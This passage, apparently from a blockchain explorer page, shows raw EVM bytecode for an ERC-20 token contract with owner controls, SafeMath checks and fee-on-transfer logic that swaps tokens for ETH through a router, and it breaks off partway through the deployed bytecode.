ffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ffb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff29061285e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561106b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110629061279e565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611149919061287e565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111be9061283e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122e9061275e565b60405180910390fd5b6000821161127a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112719061281e565b60405180910390fd5b600f60149054906101000a900460ff16156112a15761129a848484611610565b9050611547565b60006112ac306108ea565b90506000600c5482101590508080156112d25750600f60149054906101000a900460ff16155b80156113285750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113405750600f60159054906101000a900460ff165b1561136a57600f60169054906101000a900460ff161561136057600d5491505b611369826117e3565b5b6113f3846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006114438787876118db565b905061149781600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611537919061287e565b60405180910390a3600193505050505b9392505050565b6000838311158290611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d919061273c565b60405180910390fd5b50600083856115a59190612afc565b9050809150509392505050565b60008082846115c19190612a1b565b905083811015611606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fd906127be565b60405180910390fd5b8091505092915050565b600061169b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061173082600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117d0919061287e565b60405180910390a3600190509392505050565b6001600f60146101000a81548160ff02191690831515021790555061180781611d76565b60004790506000611835606461182760328561200190919063ffffffff16565b61207c90919063ffffffff16565b9050600061184c82846120c690919063ffffffff16565b9050600081111561188457611883600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612110565b5b60008211156118ba576118b9600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612110565b5b5050506000600f60146101000a81548160ff02191690831515021790555050565b600080600090506000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119655761195e6064611950600a548761200190919063ffffffff16565b61207c90919063ffffffff16565b91506119e3565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119e2576119df60646119d1600b548761200190919063ffffffff16565b61207c90919063ffffffff16565b91505b5b6000821115611aeb57611a3e82600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ade919061287e565b60405180910390a3611d58565b6000600267ffffffffffffffff811115611b0857611b07612ce9565b5b604051908082528060200260200182016040528015611b365781602001602082028036833780820191505090505b5090508681600081518110611b4e57611b4d612cba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bf057600080fd5b505afa158015611c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c2891906122f2565b81600181518110611c3c57611c3b612cba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f87846040518363ffffffff1660e01b8152600401611cd5929190612899565b60006040518083038186803b158015611ced57600080fd5b505afa158015611d01573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611d2a91906123f2565b600081518110611d3d57611d3c612cba565b5b602002602001015190508086611d539190612afc565b925050505b611d6b82856120c690919063ffffffff16565b925050509392505050565b6000600267ffffffffffffffff811115611d9357611d92612ce9565b5b604051908082528060200260200182016040528015611dc15781602001602082028036833780820191505090505b5090503081600081518110611dd957611dd8612cba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7b57600080fd5b505afa158015611e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eb391906122f2565b81600181518110611ec757611ec6612cba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f2e30600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f8b565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f929594939291906128c9565b600060405180830381600087803b158015611fac57600080fd5b505af1158015611fc0573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611ff5929190612899565b60405180910390a15050565b6000808314156120145760009050612076565b600082846120229190612aa2565b90508284826120319190612a71565b14612071576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612068906127de565b60405180910390fd5b809150505b92915050565b60006120be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061215b565b905092915050565b600061210883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061154e565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612156573d6000803e3d6000fd5b505050565b600080831182906121a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612199919061273c565b60405180910390fd5b50600083856121b19190612a71565b9050809150509392505050565b60006121d16121cc8461299a565b612975565b905080838252602082019050828560208602820111156121f4576121f3612d1d565b5b60005b85811015612224578161220a88826122b0565b8452602084019350602083019250506001810190506121f7565b5050509392505050565b60008135905061223d81612fb8565b92915050565b60008151905061225281612fb8565b92915050565b600082601f83011261226d5761226c612d18565b5b815161227d8482602086016121be565b91505092915050565b60008135905061229581612fcf565b92915050565b6000813590506122aa81612fe6565b92915050565b6000815190506122bf81612fe6565b92915050565b6000602082840312156122db576122da612d27565b5b60006122e98482850161222e565b91505092915050565b60006020828403121561230857612307612d27565b5b600061231684828501612243565b91505092915050565b6000806040838503121561233657612335612d27565b5b60006123448582860161222e565b92505060206123558582860161222e565b9150509250929050565b60008060006060848603121561237857612377612d27565b5b60006123868682870161222e565b93505060206123978682870161222e565b92505060406123a88682870161229b565b9150509250925092565b600080604083850312156123c9576123c8612d27565b5b60006123d78582860161222e565b92505060206123e88582860161229b565b9150509250929050565b60006020828403121561240857612407612d27565b5b600082015167ffffffffffffffff81111561242657612425612d22565b5b61243284828501612258565b91505092915050565b60006020828403121561245157612450612d27565b5b600061245f84828501612286565b91505092915050565b60006020828403121561247e5761247d612d27565b5b600061248c8482850161229b565b91505092915050565b6000602082840312156124ab576124aa612d27565b5b60006124b9848285016122b0565b91505092915050565b60006124ce83836124da565b60208301905092915050565b6124e381612b30565b82525050565b6124f281612b30565b82525050565b6000612503826129d6565b61250d81856129f9565b9350612518836129c6565b8060005b8381101561254957815161253088826124c2565b975061253b836129ec565b92505060018101905061251c565b5085935050505092915050565b61255f81612b42565b82525050565b61256e81612b85565b82525050565b600061257f826129e1565b6125898185612a0a565b9350612599818560208601612b97565b6125a281612d2c565b840191505092915050565b60006125ba602383612a0a565b91506125c582612d3d565b604082019050919050565b60006125dd602683612a0a565b91506125e882612d8c565b604082019050919050565b6000612600602283612a0a565b915061260b82612ddb565b604082019050919050565b6000612623601b83612a0a565b915061262e82612e2a565b602082019050919050565b6000612646602183612a0a565b915061265182612e53565b604082019050919050565b6000612669602083612a0a565b915061267482612ea2565b602082019050919050565b600061268c602983612a0a565b915061269782612ecb565b604082019050919050565b60006126af602583612a0a565b91506126ba82612f1a565b604082019050919050565b60006126d2602483612a0a565b91506126dd82612f69565b604082019050919050565b6126f181612b6e565b82525050565b61270081612b78565b82525050565b600060208201905061271b60008301846124e9565b92915050565b60006020820190506127366000830184612556565b92915050565b600060208201905081810360008301526127568184612574565b905092915050565b60006020820190508181036000830152612777816125ad565b9050919050565b60006020820190508181036000830152612797816125d0565b9050919050565b600060208201905081810360008301526127b7816125f3565b9050919050565b600060208201905081810360008301526127d781612616565b9050919050565b600060208201905081810360008301526127f781612639565b9050919050565b600060208201905081810360008301526128178161265c565b9050919050565b600060208201905081810360008301526128378161267f565b9050919050565b60006020820190508181036000830152612857816126a2565b9050919050565b60006020820190508181036000830152612877816126c5565b9050919050565b600060208201905061289360008301846126e8565b92915050565b60006040820190506128ae60008301856126e8565b81810360208301526128c081846124f8565b90509392505050565b600060a0820190506128de60008301886126e8565b6128eb6020830187612565565b81810360408301526128fd81866124f8565b905061290c60608301856124e9565b61291960808301846126e8565b9695505050505050565b600060608201905061293860008301866126e8565b61294560208301856126e8565b6129526040830184612556565b949350505050565b600060208201905061296f60008301846126f7565b92915050565b600061297f612990565b905061298b8282612bfc565b919050565b6000604051905090565b600067ffffffffffffffff8211156129b5576129b4612ce9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612a2682612b6e565b9150612a3183612b6e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a6657612a65612c2d565b5b828201905092915050565b6000612a7c82612b6e565b9150612a8783612b6e565b925082612a9757612a96612c5c565b5b828204905092915050565b6000612aad82612b6e565b9150612ab883612b6e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612af157612af0612c2d565b5b828202905092915050565b6000612b0782612b6e565b9150612b1283612b6e565b925082821015612b2557612b24612c2d565b5b828203905092915050565b6000612b3b82612b4e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612b9082612b6e565b9050919050565b60005b83811015612bb5578082015181840152602081019050612b9a565b83811115612bc4576000848401525b50505050565b60006002820490506001821680612be257607f821691505b60208210811415612bf657612bf5612c8b565b5b50919050565b612c0582612d2c565b810181811067ffffffffffffffff82111715612c2457612c23612ce9565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612fc181612b30565b8114612fcc57600080fd5b50565b612fd881612b42565b8114612fe357600080fd5b50565b612fef81612b6e565b8114612ffa57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cb35dac38549c4d7de27cafb36a4f2010bd0a546769dec42df5dc0395aa7627f64736f6c6343000805003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000e4e1c000000000000000000000000002567e569000c273b04a63e8dfa93103f3394a9b0000000000000000000000000000000000000000000000000000000000000002585800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000025858000000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80638da5cb5b11610095578063a9059cbb11610064578063a9059cbb146103a0578063b2bdfa7b146103dd578063c49b9a8014610408578063dd62ed3e14610431578063f2fde38b1461046e57610114565b80638da5cb5b146102f6578063914eb66a1461032157806395d89b4114610338578063a457c2d71461036357610114565b8063313ce567116100dc578063313ce567146101e957806339509351146102145780633b97084a146102515780636386c1c71461027a57806370a08231146102b957610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610497565b60405161013b919061273c565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906123b2565b610529565b6040516101789190612721565b60405180910390f35b34801561018d57600080fd5b50610196610547565b6040516101a3919061287e565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061235f565b610551565b6040516101e09190612721565b60405180910390f35b3480156101f557600080fd5b506101fe61062b565b60405161020b919061295a565b60405180910390f35b34801561022057600080fd5b5061023b600480360381019061023691906123b2565b610642565b6040516102489190612721565b60405180910390f35b34801561025d57600080fd5b5061027860048036038101906102739190612468565b6106f5565b005b34801561028657600080fd5b506102a1600480360381019061029c91906122c5565b610794565b6040516102b093929190612923565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db91906122c5565b6108ea565b6040516102ed919061287e565b60405180910390f35b34801561030257600080fd5b5061030b610933565b6040516103189190612706565b60405180910390f35b34801561032d57600080fd5b5061033661095c565b005b34801561034457600080fd5b5061034d610aaf565b60405161035a919061273c565b60405180910390f35b34801561036f57600080fd5b5061038a600480360381019061038591906123b2565b610b41565b6040516103979190612721565b60405180910390f35b3480156103ac57600080fd5b506103c760048036038101906103c291906123b2565b610c0e565b6040516103d49190612721565b60405180910390f35b3480156103e957600080fd5b506103f2610c2d565b6040516103ff9190612706565b60405180910390f35b34801561041457600080fd5b5061042f600480360381019061042a919061243b565b610c51565b005b34801561043d57600080fd5b506104586004803603810190610453919061231f565b610d3a565b604051610465919061287e565b60405180910390f35b34801561047a57600080fd5b50610495600480360381019061049091906122c5565b610dc1565b005b6060600280546104a690612bca565b80601f01602080910402602001604051908101604052809291908181526020018280546104d290612bca565b801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b5050505050905090565b600061053d610536610f83565b8484610f8b565b6001905092915050565b6000600c54905090565b600061055e848484611156565b506106208461056b610f83565b61061b85604051806060016040528060288152602001612ffe60289139600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105d1610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b610f8b565b600190509392505050565b6000600460009054906101000a900460ff16905090565b60006106eb61064f610f83565b846106e68560086000610660610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b610f8b565b6001905092915050565b6106fd610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610781906127fe565b60405180910390fd5b80600d8190555050565b6000806000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549250600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b81526004016108399190612706565b60206040518083038186803b15801561085157600080fd5b505afa158015610865573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108899190612495565b91506000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060010160009054906101000a900460ff169150509193909250565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610964610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e8906127fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060038054610abe90612bca565b80601f0160208091040260200160405190810160405280929190818152602001828054610aea90612bca565b8015610b375780601f10610b0c57610100808354040283529160200191610b37565b820191906000526020600020905b815481529060010190602001808311610b1a57829003601f168201915b5050505050905090565b6000610c04610b4e610f83565b84610bff856040518060600160405280602581526020016130266025913960086000610b78610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b610f8b565b6001905092915050565b6000610c22610c1b610f83565b8484611156565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610c59610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdd906127fe565b60405180910390fd5b80600f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051610d2f9190612721565b60405180910390a150565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dc9610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4d906127fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebd9061277e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ffb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff29061285e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561106b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110629061279e565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611149919061287e565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111be9061283e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122e9061275e565b60405180910390fd5b6000821161127a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112719061281e565b60405180910390fd5b600f60149054906101000a900460ff16156112a15761129a848484611610565b9050611547565b60006112ac306108ea565b90506000600c5482101590508080156112d25750600f60149054906101000a900460ff16155b80156113285750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113405750600f60159054906101000a900460ff165b1561136a57600f60169054906101000a900460ff161561136057600d5491505b611369826117e3565b5b6113f3846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006114438787876118db565b905061149781600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611537919061287e565b60405180910390a3600193505050505b9392505050565b6000838311158290611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d919061273c565b60405180910390fd5b50600083856115a59190612afc565b9050809150509392505050565b60008082846115c19190612a1b565b905083811015611606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fd906127be565b60405180910390fd5b8091505092915050565b600061169b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061173082600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117d0919061287e565b60405180910390a3600190509392505050565b6001600f60146101000a81548160ff02191690831515021790555061180781611d76565b60004790506000611835606461182760328561200190919063ffffffff16565b61207c90919063ffffffff16565b9050600061184c82846120c690919063ffffffff16565b9050600081111561188457611883600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612110565b5b60008211156118ba576118b9600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612110565b5b5050506000600f60146101000a81548160ff02191690831515021790555050565b600080600090506000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119655761195e6064611950600a548761200190919063ffffffff16565b61207c90919063ffffffff16565b91506119e3565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119e2576119df60646119d1600b548761200190919063ffffffff16565b61207c90919063ffffffff16565b91505b5b6000821115611aeb57611a3e82600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ade919061287e565b60405180910390a3611d58565b6000600267ffffffffffffffff811115611b0857611b07612ce9565b5b604051908082528060200260200182016040528015611b365781602001602082028036833780820191505090505b5090508681600081518110611b4e57611b4d612cba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bf057600080fd5b505afa158015611c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c2891906122f2565b81600181518110611c3c57611c3b612cba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f87846040518363ffffffff1660e01b8152600401611cd5929190612899565b60006040518083038186803b158015611ced57600080fd5b505afa158015611d01573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611d2a91906123f2565b600081518110611d3d57611d3c612cba565b5b602002602001015190508086611d539190612afc565b925050505b611d6b82856120c690919063ffffffff16565b925050509392505050565b6000600267ffffffffffffffff811115611d9357611d92612ce9565b5b604051908082528060200260200182016040528015611dc15781602001602082028036833780820191505090505b5090503081600081518110611dd957611dd8612cba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7b57600080fd5b